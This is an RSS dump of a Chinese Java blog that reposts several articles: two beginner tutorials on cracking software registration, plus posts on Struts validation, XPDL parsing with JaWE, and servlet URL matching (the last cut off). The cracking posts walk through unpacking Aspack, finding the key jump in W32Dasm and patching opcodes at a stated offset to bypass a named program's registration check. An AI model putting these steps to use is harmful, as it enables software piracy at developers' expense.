脱壳：拿到一个软件，侦测它的壳,然后我们要把它的壳脱去,还原它的<br />
本来面目.若它没有加壳,就省事不用脱壳了.脱壳软件<br />
unaspack,caspr,upx,unpecompact,procdump<br />
<br />
<br />
<br />
实际修改地址(偏移地址)和行地址(虚拟地址)<br />
pw32dasmgold反汇编出来的代码由三列组成<br />
第一列 行地址(虚拟地址)<br />
第二列 机器码(最终修改时用ultraedit修改)<br />
第三列 汇编指令<br />
<br />
&nbsp;&nbsp;第一列&nbsp;&nbsp;第二列&nbsp; &nbsp; 第三列<br />
:0041BE38 2B45F0&nbsp; &nbsp; sub eax, dword ptr [ebp-10] <br />
:0041BE3B 6A42&nbsp; &nbsp;&nbsp; &nbsp;push 00000042 <br />
:0041BE3D 50&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;push eax <br />
:0041BE3E FF75F4&nbsp; &nbsp; push [ebp-0C] <br />
:0041BE41 FF75F0&nbsp; &nbsp; push [ebp-10] <br />
:0041BE44 FF35A8AB4400 push dword ptr [0044ABA8] <br />
<br />
<br />
<br />
常见修改(机器码)<br />
74=&gt;75 74=&gt;90 74=&gt;EB<br />
75=&gt;74 75=&gt;90 75=&gt;EB<br />
<br />
jnz-&gt;nop<br />
75-&gt;90(相应的机器码修改)<br />
<br />
jnz -&gt; jmp<br />
75 -&gt; EB(相应的机器码修改)<br />
<br />
jnz -&gt; jz<br />
75-&gt;74 (正常) 0F 85 -&gt; 0F 84<br />
两种不同情况的不同修改方法<br />
<br />
1.修改为jmp<br />
je(jne,jz,jnz) =&gt;jmp相应的机器码EB （出错信息向上找到的第一个跳转）jmp的作用是绝对跳，无条件跳，从而跳过下面的出错信息<br />
<br />
2.修改为nop<br />
je(jne,jz,jnz) =&gt;nop相应的机器码90 （正确信息向上找到的第一个跳转） nop的作用是抹掉这个跳转，使这个跳转无效，失去作用，从而使程序顺利来到紧跟其后的正确信息处<br />
<br />
<br />
好了，下面开始我们的破解之旅。。。。。。。。。。<br />
<br />
1，侦壳：先打开侦壳 language.exe，选择打开----找到要破解的"万事通.exe"：点确。language.exe便显示出软件的壳又是：Aspack，<br />
<br />
<br />
2，脱壳：双击脱壳AspackDie.exe，出现一个对话框，选择万事通.exe，打开。点确定脱壳完成。在万事通.exe：同目录下生成一个unpacked.exe文件，这就是脱壳后的万事通.exe<br />
<br />
<br />
3，运行脱壳后的unpacked.exe，点帮助----注册，注册名称，注册码随便添。。点注册，提示：&#8220;注册码不符&#8221;，好了记住这5个字。关了它。<br />
<br />
4，开始反汇编：打开 反编译 W32Dasm黄金中文版，选择反汇编----打开脱壳后的unpacked.exe，变开始加载。。返汇编之后。点击上面的参考----串式参考，出现这个对话框。找到<br />
&#8220;注册码不符&#8221;，双击它，汇编主程序便来到这里：图1。（注意：正确注册信息在错误信息之下）关闭串式参考框。看主程序：。从注册码错误向上找到第一个跳转（关键跳，除了jmp的其它跳：je,jne,jz,jnz），来到这里。（它上面的call叫关键call。），双击关键跳，看软件最下面有一行字的后面：@Offset 000b6fe8H in File:unpacked.exe.其中@Offset 000b6fe8H就是偏移地址，记住000b6fe8（后面的h代表16进制，不用管他），<br />
<br />
<br />
5，开始修改软件：打开16进制编辑器 UltraEdit.rar，。打开脱壳后的unpacked.exe，直接按ctrl+g，出现对话框，输入0xb6fe8(即偏移地址，不要前面的000）。点确定，来到图2，说过正确注册信息在错误信息之下，所以这里将74改为eb。图2.3。。将光标移到74上直接输入数字eb即可，其他地方不要动。好了，改好只后左上角的文件---另存为unpacked222.exe。<br />
6,关闭所以软件，运行另存的unpacked222.exe，点帮助---注册，注册名称，注册码随便添，点确定，提示注册完成。。回到软件界面看看，帮助，注册一项已经没有了。<br />
7，破解全部完成。<br />
<br />
<img src ="http://www.blogjava.net/hijackwust/aggbug/194302.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2008-04-20 13:10 <a href="http://www.blogjava.net/hijackwust/archive/2008/04/20/194302.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]教你如何破解软件的注册</title><link>http://www.blogjava.net/hijackwust/archive/2008/04/20/194296.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Sun, 20 Apr 2008 03:53:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2008/04/20/194296.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/194296.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2008/04/20/194296.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/194296.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/194296.html</trackback:ping><description><![CDATA[<p>转自：<a href="http://www.chinaser.net/thread-282-1-1.html">http://www.chinaser.net/thread-282-1-1.html</a><font color="darkblue"><br />
<br />
教程大小:2.45M</font> <font color="red">教程下载</font>:<a href="http://www.chinaser.net/download/crack.zip" target="_blank">下载地址1</a><br />
(请注意了,不要用右键另存为下载,下载请用网际快乐或迅雷下载,否则会下不了)<br />
教程内容:<br />
<font color="blue">-=教你如何破解软件的注册=-&nbsp;&nbsp;<br />
<br />
破解比较简单，适合新手。<br />
<br />
今天拿 [学习注册破解程序.exe] 来给大家做演示。<br />
<br />
先用peid来查下壳。发现没有加壳。<br />
<br />
开始破解：<br />
看我操作<br />
<br />
注册码是我随便打的 ，肯定是不对的 呵呵~！<br />
输入注册码错误时出现提示：注册码不正确,破解失败<br />
<br />
用W32dasm,载入程序<br />
<br />
注意看我操作<br />
<br />
双击&#8220;注册码不正确,破解失败&#8221;<br />
注意看哦~！<br />
<br />
找到这个地址后,就开始转移到这个地址里哦.到这里来了,我往上拉<br />
<br />
<br />
test是比较的意思，比如：test a,b&nbsp;&nbsp;比较a与b<br />
在这里进行注册码的比较~！<br />
<br />
jne若不相等则跳，我们把他改成：je<br />
<br />
je的意思是若相等则跳<br />
<br />
把第一位的数据-1<br />
<br />
这样就反过来了，当我们输入正确的注册码后就显示不正确，当输入错误注册码后就显示正确。<br />
<br />
该怎么改呢？看我操作。<br />
改完了 我们来看看到底破好了没，<br />
学习注册破解程序_BAK.EXE 是修改过后的程序.我们先运行它.<br />
我随便输入个注册码<br />
呵呵看到了么？<br />
<br />
OK！就这么简单~！破解成功了 ~！<br />
<br />
BY 神龙 <br />
QQ:249619908 <br />
论坛交流:<a href="http://www.snlong.org/bbs" target="_blank">http://www.snlong.org/bbs</a><br />
教程结束!</font><br />
</p>
<img src ="http://www.blogjava.net/hijackwust/aggbug/194296.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2008-04-20 11:53 <a href="http://www.blogjava.net/hijackwust/archive/2008/04/20/194296.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]关于struts中validate的几种情况</title><link>http://www.blogjava.net/hijackwust/archive/2008/04/11/192143.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Fri, 11 Apr 2008 04:13:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2008/04/11/192143.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/192143.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2008/04/11/192143.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/192143.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/192143.html</trackback:ping><description><![CDATA[<p>转自:http://hi.baidu.com/helloween0809/blog/item/091c2ef5fd64d625bc3109ab.html<br />
<br />
这里采用了最新版本struts-1.2.7，是在struts-blank的基础上演示的，为了以后的学习和参考用。 </p>
<p>&nbsp;</p>
<p>一、在对应的Form Baens中重载validate方法</p>
<p>在struts-config.xml文件中，action节点下有&#8220;validate&#8221;这样一个属性。在struts框架中，默认属性是validate=&#8221;true&#8221;。所以如果想通过Form Baens的重载validate方法来验证数据的话，可以不用理会这一点。题外话：如果你在struts-config.xml文件中，设置validate="false"的话，validate方法将不起作用。这一点同样对Validate框架来验证数据起作用。</p>
<p>&nbsp;</p>
<p>二、通过Validate框架来验证数据</p>
<p>1、首先在struts-config.xml文件中，追加如下代码：</p>
<p>&lt;plug-in className="org.apache.struts.validator.ValidatorPlugIn"&gt;</p>
<p>&lt;set-property property="pathnames"</p>
<p>value="/WEB-INF/validator-rules.xml,/WEB-INF/validations.xml"/&gt;</p>
<p>&lt;set-property property="stopOnFirstError" value="false"/&gt;</p>
<p>&lt;/plug-in&gt;</p>
<p>&nbsp;</p>
<p>2、然后编写自己的Form Baens，有两种方式可供选择：</p>
<p>① 写的formBaen需要继承ValidatorForm，而不是第一种方法中的ActionForm</p>
<p>public class UserForm extends ValidatorForm {</p>
<p>private String userId = "";</p>
<p>private String password = "";</p>
<p>public void setUserId(String userId) {</p>
<p>this.userId = userId;</p>
<p>}</p>
<p>public String getUserId() {</p>
<p>return userId;</p>
<p>}</p>
<p>。。。。。。</p>
<p>然后配置struts-config文件</p>
<p>&lt;form-bean name="userForm"</p>
<p>type="com.wxhx.presentation.UserForm"/&gt;</p>
<p>② 配置struts-config文件</p>
<p>&lt;form-beans&gt;</p>
<p>&lt;form-bean name=" userForm"</p>
<p>type="org.apache.struts.validator.DynaValidatorForm"&gt;</p>
<p>&lt;form-property name=" userId" type="java.lang.String"/&gt;</p>
<p>&lt;form-property name="password" type="java.lang.String"/&gt;</p>
<p>&lt;/form-bean&gt;</p>
<p>&lt;/form-beans&gt;</p>
<p>3、配置validation.xml文件</p>
<p>&lt;formset&gt;</p>
<p>&lt;form name="userForm"&gt; ----这里的userForm是Form Beans的名字</p>
<p>&lt;field</p>
<p>property="userId"</p>
<p>depends="required"&gt;</p>
<p>&lt;arg key="userForm.userId"/&gt;</p>
<p>&lt;/field&gt;</p>
<p>&lt;field</p>
<p>property="password"</p>
<p>depends="required,mask"&gt;</p>
<p>&lt;arg key="userForm.password"/&gt;</p>
<p>&lt;var&gt;</p>
<p>&lt;var-name&gt;mask&lt;/var-name&gt;</p>
<p>&lt;var-value&gt;^[0-9a-zA-Z]*$&lt;/var-value&gt;</p>
<p>&lt;/var&gt;</p>
<p>&lt;/field&gt;</p>
<p>&lt;/form&gt;</p>
<p>&lt;/formset&gt;</p>
<p>其中key="userForm.userId"和key="userForm.password"需要在资源文件中配置</p>
<p>这里需要说明一点，例如：&lt;arg key="userForm.password" resource="false"/&gt;</p>
<p>如果多了resource="false"这句话，那么它不会再从资源文件中去取，而是直接用key值来表示。</p>
<p>&nbsp;</p>
<p>以上是通过validatorForm- or DynaValidatorForm来实现Validate验证的</p>
<p>&nbsp;</p>
<p>（附）</p>
<p>现在有这样一个问题，Form Beans可以被多个Action应用，而每个Action可能需要的验证字段都不一样。而在validation.xml中配置的验证方式（如&lt;form name="userForm"&gt;）是对这个Form Beans进行的。这样的话，如何来验证呢？</p>
<p>你的Form Beans可以继承ValidatorActionForm（当然可以直接配置DynaValidatorActionForm）。如下所示：</p>
<p>public class UserForm extends ValidatorActionForm {</p>
<p>...</p>
<p>}</p>
<p>或是</p>
<p>&lt;form-bean name=" userForm "</p>
<p>type="org.apache.struts.validator.DynaValidatorActionForm"&gt;</p>
<p>...</p>
<p>&lt;/form-bean&gt;</p>
<p>&nbsp;</p>
<p>struts-config文件配置如下：</p>
<p>&lt;action-mappings&gt;</p>
<p>&lt;action path="/technology/createUser"</p>
<p>type="com.wxhx.minihr.CreateUserAction"</p>
<p>name="userForm"/&gt;</p>
<p>&nbsp;</p>
<p>&lt;action path="/technology/editUser"</p>
<p>type="com.wxhx.minihr.EditUserAction"</p>
<p>name="userForm"/&gt;</p>
<p>&lt;/action-mappings&gt;</p>
<p>&nbsp;</p>
<p>validation.xml文件配置如下：</p>
<p>&lt;formset&gt;</p>
<p>&lt;form name="/technology/ createUser "&gt;----这里的采用的是action的path路径</p>
<p>&lt;field property="city"</p>
<p>depends="required"&gt;</p>
<p>&lt;arg0 key="prompt.city"/&gt;</p>
<p>&lt;/field&gt;</p>
<p>&lt;/form&gt;</p>
<p>&lt;form name="/technology/editUser "&gt;</p>
<p>&lt;field property="state"</p>
<p>depends="required"&gt;</p>
<p>&lt;arg0 key="prompt.state"/&gt;</p>
<p>&lt;/field&gt;</p>
<p>&lt;/form&gt;</p>
<p>&lt;/formset&gt;</p>
<p>&nbsp;</p>
<p>关于validator-rules.xml，定义了常用的一些规则，当然也可以自己追加新的规则。</p>
<p>这里经常会看到msg="errors.required"字样，也是通过资源文件中配置的，默认的资源如下：</p>
<p># -- validator --</p>
<p>errors.invalid={0} is invalid.</p>
<p>errors.maxlength={0} can not be greater than {1} characters.</p>
<p>errors.minlength={0} can not be less than {1} characters.</p>
<p>errors.range={0} is not in the range {1} through {2}.</p>
<p>errors.required={0} is required.</p>
<p>errors.byte={0} must be an byte.</p>
<p>errors.date={0} is not a date.</p>
<p>errors.double={0} must be an double.</p>
<p>errors.float={0} must be an float.</p>
<p>errors.integer={0} must be an integer.</p>
<p>errors.long={0} must be an long.</p>
<p>errors.short={0} must be an short.</p>
<p>errors.creditcard={0} is not a valid credit card number.</p>
<p>errors.email={0} is an invalid e-mail address.</p>
<p>这在struts-blank的例子中会有，在开发项目的时候，注意这些默认资源</p>
<p>关于自己定义规则，以后再作研究</p>
<p>&nbsp;</p>
<p>三、结合上面的两种验证</p>
<p>如果即在Form Beans中重载了validate方法，又启用了Validate框架，那会是什么效果呢？</p>
<p>由于要启用Validate框架，Form Beans需要继承ValidatorForm，查看ValidatorForm的源代码，发现validate方法已经作了处理（真是为Validate框架所服务的）。</p>
<p>那么在Form Beans中重载了validate方法的话，就会覆盖原有ValidatorForm中对应的功能，所以如果想一起用的话，需要在Form Beans的validate方法中调用errors = super.validate(mapping, request);这句代码是启用Validate框架所要做的工作，然后可以判断errors再作下一步的处理。</p>
<p>当然也可以先做Form Beans中的validate方法，然后启用Validate框架，要看具体情况而定。</p>
<p>&nbsp;</p>
<p>四、启用客户端验证</p>
<p>也是结合validation.xml来验证的，我把validation.xml相关的内容在复制下来，便于看清楚：</p>
<p>&lt;formset&gt;</p>
<p>&lt;form name="userForm"&gt; ----这里的userForm是Form Beans的名字</p>
<p>&lt;field</p>
<p>property="userId"</p>
<p>depends="required"&gt;</p>
<p>&lt;arg key="userForm.userId"/&gt;</p>
<p>&lt;/field&gt;</p>
<p>&lt;field</p>
<p>property="password"</p>
<p>depends="required,mask"&gt;</p>
<p>&lt;arg key="userForm.password"/&gt;</p>
<p>&lt;var&gt;</p>
<p>&lt;var-name&gt;mask&lt;/var-name&gt;</p>
<p>&lt;var-value&gt;^[0-9a-zA-Z]*$&lt;/var-value&gt;</p>
<p>&lt;/var&gt;</p>
<p>&lt;/field&gt;</p>
<p>&lt;/form&gt;</p>
<p>&lt;/formset&gt;</p>
<p>&nbsp;</p>
<p>①在需要客户端验证的jsp中加上这么一句&lt;html:javascript formName=" userForm "/&gt; <br />
其中formName就是validation.xml中&lt;form name="userForm"&gt;所对应的内容</p>
<p>②在&lt;html:form中追加一个属性onsubmit="return validateUserForm(this);"</p>
<p>它的语法为：return validate + struts-config.xml中定义的form-bean名称 + (this);</p>
<p>③追加&lt;scriptlanguage="Javascript1.1" src="staticJavascript.jsp"&gt;&lt;/script&gt;</p>
<p>staticJavascript.jsp的内容为：</p>
<p>&lt;%@ page language="java" %&gt;</p>
<p>&lt;%-- set document type to Javascript(addresses a bug in Netscape according </p>
<p>to a web resource --%&gt;</p>
<p>&lt;%@ page contentType="application/x-javascript" %&gt;</p>
<p>&lt;%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %&gt;</p>
<p>&lt;html:javascript dynamicJavascript="false" staticJavascript="true"/&gt;</p>
<p>这只是一种方式，还有其他简洁的（具体为啥这样，不是很明白，希望得到）</p>
<p>比如：追加onsubmit="return validateUserForm(this);"</p>
<p>&lt;html:javascript formName="userForm" staticJavascript="true"/&gt;</p>
<img src ="http://www.blogjava.net/hijackwust/aggbug/192143.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2008-04-11 12:13 <a href="http://www.blogjava.net/hijackwust/archive/2008/04/11/192143.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转] XPDL parser</title><link>http://www.blogjava.net/hijackwust/archive/2008/03/24/188333.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Mon, 24 Mar 2008 11:43:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2008/03/24/188333.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/188333.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2008/03/24/188333.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/188333.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/188333.html</trackback:ping><description><![CDATA[<p>转自：<a href="http://blog.csdn.net/windsails/archive/2005/03/03/309851.aspx">http://blog.csdn.net/windsails/archive/2005/03/03/309851.aspx</a><br />
<br />
XPDL作为一种由WfMC提出来的比较规范的工作流描述语言，很好的解决了工作流的定义的问题，也就是WfMC提出的工作流参考模</p>
<p>型中的接口一，此外，对于工作流的核心而言，如何解释XPDL也是关键。</p>
<p>JaWE是目前公认的比较好的基于Java编写的图形化工作流定义工具，它使用的描述语言正是XPDL。如果你自己想做个简单的工作</p>
<p>流处理引擎，了解和解释XPDL是关键的第一步，既然有了JaWE这个这么好的工具，而且它还是开源的，那么为什么不也利用它的</p>
<p>函数库来解释XPDL呢？</p>
<p>JaWE是一个开源的项目，最新的版本可以在<a href="http://jawe.objectweb.org/">http://jawe.objectweb.org</a>下载。</p>
<p>如果你只是利用它作为XPDL的解释器的话，只需要以下的Java库文件：<br />
jawexpdl.jar</p>
<p>它同时需要几个运行库：<br />
xercesImpl.jar<br />
xml-apis.jar<br />
jawelan.jar (如果不涉及中文的描述，可以不要)</p>
<p>另外如果想直接用JaWE的一些现成的图形化工具库，则需要jawe.jar</p>
<p>下面是个简单的代码例子；</p>
<p>package org.aas.readXPDL;</p>
<p>import org.enhydra.jawe.xml.*;<br />
import org.enhydra.jawe.xml.elements.*;<br />
import java.util.*;</p>
<p>/**<br />
&nbsp;* @author Jonathan<br />
&nbsp;* @version v0.1<br />
&nbsp;* Main: TODO To declare the description of this type <br />
&nbsp;*/<br />
public class Main {</p>
<p>&nbsp;&nbsp;&nbsp; public static void main(String[] args) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XMLInterfaceForJDK13 xml = new XMLInterfaceForJDK13();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String strFilename = "XXX.xpdl";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XMLElement subElement = null;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (xml.doesPackageFileExists(strFilename))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("OK!!!");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; org.enhydra.jawe.xml.elements.Package pkg = xml.openPackage(strFilename,false);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // pkg = xml.getPackageByFilename(strFilename);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // System.out.println("Version:" + pkg.getVersion());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("ElementCount:" + pkg.getElementsCount());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("Is made by JaWE:" + pkg.isMadeByJaWE());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("Package to string:" + pkg.toString());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("ID:" + xml.getIDFromFile(strFilename));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("Current Version:" + pkg.getCurrentVersion());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("Package ID:" + pkg.get("Id"));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("package Name:" + pkg.get("Name"));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 读取头信息<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(" --- 头信息 ---");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PackageHeader pkgh = (PackageHeader)pkg.get("PackageHeader");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("Header ElementCount:" + pkgh.getElementsCount());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; List pkghList = pkgh.getChildElements();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (i=0;i&lt;pkghList.size();i++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; subElement = (XMLElement)pkghList.get(i); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Object value = subElement.toValue();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("No." + i + " : " + subElement.toName() <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + "[" + subElement.toLabel() + "]&nbsp; "<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + value);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 获取WorkflowProcesses<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WorkflowProcesses wfps = (WorkflowProcesses)pkg.get("WorkflowProcesses");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("WorkflowProcesses Number: " + wfps.size());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Collection wfpList = wfps.toCollection();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Iterator itor = wfpList.iterator();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while(itor.hasNext())<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WorkflowProcess wfp = (WorkflowProcess)itor.next();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(wfp.get("Name"));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(wfp.get("Id"));<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xml.closeAllPackages();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("Error when open the file!");<br />
&nbsp;&nbsp;&nbsp; }<br />
}</p>
<p>熟悉XML操作的朋友一定觉得很简单吧？<br />
XPDL的各个元模型元素在JaWE中都定义成了对象，可直接使用，十分方便。</p>
<img src ="http://www.blogjava.net/hijackwust/aggbug/188333.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2008-03-24 19:43 <a href="http://www.blogjava.net/hijackwust/archive/2008/03/24/188333.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Servlet和Filter的url匹配以及url-pattern详解(转)</title><link>http://www.blogjava.net/hijackwust/archive/2008/03/13/186154.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Thu, 13 Mar 2008 14:27:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2008/03/13/186154.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/186154.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2008/03/13/186154.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/186154.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/186154.html</trackback:ping><description><![CDATA[<p>转自：http://hi.baidu.com/wyt1213/blog/item/c3589b1098c32e02213f2ecb.html</p>
<p><br />
一，servlet容器对url的匹配过程：</p>
<p>当一个请求发送到servlet容器的时候，容器先会将请求的url减去当前应用上下文的路径作为servlet的映射url，比如我访问的是http://localhost/test/aaa.html，我的应用上下文是test，容器会将http://localhost/test去掉，剩下的/aaa.html部分拿来做servlet的映射匹配。这个映射匹配过程是有顺序的，而且当有一个servlet匹配成功以后，就不会去理会剩下的servlet了（filter不同，后文会提到）。其匹配规则和顺序如下：</p>
